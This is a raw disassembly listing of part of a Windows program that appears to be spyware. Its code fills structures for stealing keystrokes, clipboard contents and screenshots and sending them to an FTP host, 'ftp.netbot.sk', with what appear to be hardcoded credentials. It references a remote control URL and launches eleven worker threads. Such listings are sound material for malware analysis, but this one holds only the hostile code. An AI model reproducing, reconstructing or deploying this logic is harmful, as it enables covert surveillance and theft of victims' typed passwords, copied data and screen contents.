mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40c8e9
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0xd80]
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x428c]
push 0x2af
call fcn.00406a80
push eax
lea eax, [ebp - 0xd80]
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0xc
test eax, eax
jne 0x40c957
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x25
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0x12e0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0x12e0]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40c9c4
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x26
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40c9d1
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0x12e0]
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x428c]
push 0x2af
call fcn.00406f70
push eax
lea eax, [ebp - 0x12e0]
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0xc
test eax, eax
jne 0x40ca3f
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x27
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x6c9
push 0x2af
push eax
lea eax, [ebp - 0xad0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push 0x2af
lea eax, [ebp - 0xad0]
push str.Users_
push eax
call edi
mov eax, dword [0x41ba30]
add esp, 0x18
test eax, eax
jne 0x40caac
push 0x938
call fcn.00410a36
mov esi, eax
mov dword [ebp - 0x4290], esi
push 0x938
push 0
push esi
mov byte [ebp - 4], 0x28
call sub.VCRUNTIME140.dll_memset
add esp, 0x10
mov ecx, esi
call fcn.00404b10
mov byte [ebp - 4], 0x1a
mov dword [0x41ba30], eax
add eax, 0x860
cmp dword [eax + 0x14], 0x10
jb 0x40cab9
mov eax, dword [eax]
push 0x2af
push eax
lea eax, [ebp - 0xad0]
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x428c]
push 0x2af
call fcn.00406cf0
push eax
lea eax, [ebp - 0xad0]
push eax
call edi
mov eax, dword [0x41ba7c]
lea ecx, [ebp - 0x2300]
add esp, 0xc
mov dword [eax + 0x6c], ecx
lea ecx, [ebp - 0x25b0]
mov dword [eax + 0x68], ecx
lea ecx, [ebp - 0x2860]
mov dword [eax + 0x70], str.ftp.netbot.sk
mov dword [eax + 0x74], str.netbot.sk.bitcoin
mov dword [eax + 0x78], str.4lLhucpWw8
mov dword [eax + 0x80], str._clipboard_catch_clipboard
mov eax, dword [0x41ba84]
mov dword [eax + 4], ecx
lea ecx, [ebp - 0x2b10]
mov dword [eax], ecx
mov dword [eax + 0x1c], 0x12c
mov dword [eax + 8], str.ftp.netbot.sk
mov dword [eax + 0xc], str.netbot.sk.bitcoin
mov dword [eax + 0x10], str.4lLhucpWw8
mov dword [eax + 0x18], str._keyboard_catch_keyboard
call fcn.00404590
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x820]
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
xor ecx, ecx
mov esi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410dda
add esp, 4
mov dword [ebp - 0x4290], eax
push esi
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x820]
push eax
push 0
push 0
call edi
call fcn.00404590
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x820]
push eax
push 0
push 0
call edi
xor ecx, ecx
mov edi, eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00410dda
add esp, 4
push edi
mov esi, eax
lea eax, [ebp - 0x820]
push esi
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [0x41ba74]
lea ecx, [ebp - 0x2dc0]
push dword [ebp - 0x4290]
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x820]
mov dword [eax + 4], esi
mov dword [eax], ecx
mov dword [eax + 0x1c], 7
mov dword [eax + 0xc], str.ftp.netbot.sk
mov dword [eax + 0x10], str.netbot.sk.bitcoin
mov dword [eax + 0x14], str.4lLhucpWw8
mov dword [eax + 0x18], str._screens_catch_screenshot
call fcn.00410a31
mov eax, dword [0x41ba78]
lea ecx, [ebp - 0x1030]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov dword [eax + 0x10], ecx
lea ecx, [ebp - 0xd80]
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0x12e0]
mov dword [eax + 0x18], ecx
lea ecx, [ebp - 0xad0]
mov dword [eax + 0x1c], str.https:__www.netbot.sk_controll_udo.dat
mov dword [eax + 0x14], ecx
lea eax, [ebp - 0x4200]
push eax
push 0
push 0
push 0x40afb0
push 0
push 0
mov dword [ebp - 0x4200], 1
mov dword [ebp - 0x41fc], 2
mov dword [ebp - 0x4204], 3
mov dword [ebp - 0x4208], 4
mov dword [ebp - 0x420c], 5
mov dword [ebp - 0x4210], 6
mov dword [ebp - 0x4214], 7
mov dword [ebp - 0x4224], 8
mov dword [ebp - 0x4218], 9
mov dword [ebp - 0x421c], 0xa
mov dword [ebp - 0x4220], 0xb
call esi
mov dword [ebp - 0x4294], eax
lea eax, [ebp - 0x41fc]
push eax
push 0
push 0
push 0x40b000
push 0
push 0
call esi
mov dword [ebp - 0x42a4], eax
lea eax, [ebp - 0x4204]
push eax
push 0
push 0
push 0x40b040
push 0
push 0
call esi
add esp, 0x4c
mov dword [ebp - 0x42a0], eax
lea eax, [ebp - 0x4208]
push eax
push 0
push 0
push 0x40b080
push 0
push 0
call esi
mov dword [ebp - 0x42b8], eax
lea eax, [ebp - 0x420c]
push eax
push 0
push 0
push 0x40b0c0
push 0
push 0
call esi
mov dword [ebp - 0x42b4], eax
lea eax, [ebp - 0x4210]
push eax
push 0
push 0
push 0x40b100
push 0
push 0
call esi
add esp, 0x48
mov dword [ebp - 0x42a8], eax
lea eax, [ebp - 0x4214]
push eax
push 0
push 0
push 0x40b140
push 0
push 0
call esi
mov dword [ebp - 0x42b0], eax
lea eax, [ebp - 0x4224]
push eax
push 0
push 0
push 0x40b180
push 0
push 0
call esi
mov dword [ebp - 0x42ac], eax
lea eax, [ebp - 0x4218]
push eax
push 0
push 0
push 0x40b1c0
push 0
push 0
call esi
add esp, 0x48
mov dword [ebp - 0x429c], eax
lea eax, [ebp - 0x421c]
push eax
push 0
push 0
push 0x40b200
push 0
push 0
call esi
mov dword [ebp - 0x4290], eax
lea eax, [ebp - 0x4220]
push eax
push 0
push 0
push 0x40b240
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x30
mov edi, eax
push 0xffffffffffffffff
push dword [ebp - 0x4294]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42a4]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42a0]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42b8]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42b4]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42a8]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42b0]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x42ac]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x429c]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x4290]
call esi
push 0xffffffffffffffff
push edi
call esi
push dword [ebp - 0x4294]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x42a4]
call esi
push dword [ebp - 0x42a0]
call esi
push dword [ebp - 0x42b8]
call esi
push dword [ebp - 0x42b4]
call esi
push dword [ebp - 0x42a8]
call esi
push dword [ebp - 0x42b0]
call esi
push dword [ebp - 0x42ac]
call esi
push dword [ebp - 0x429c]
call esi
push dword [ebp - 0x4290]
call esi
push edi
call esi
lea ecx, [ebp - 0x428c]
call fcn.0040cf10
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00410a23
mov esp, ebp
pop ebp
ret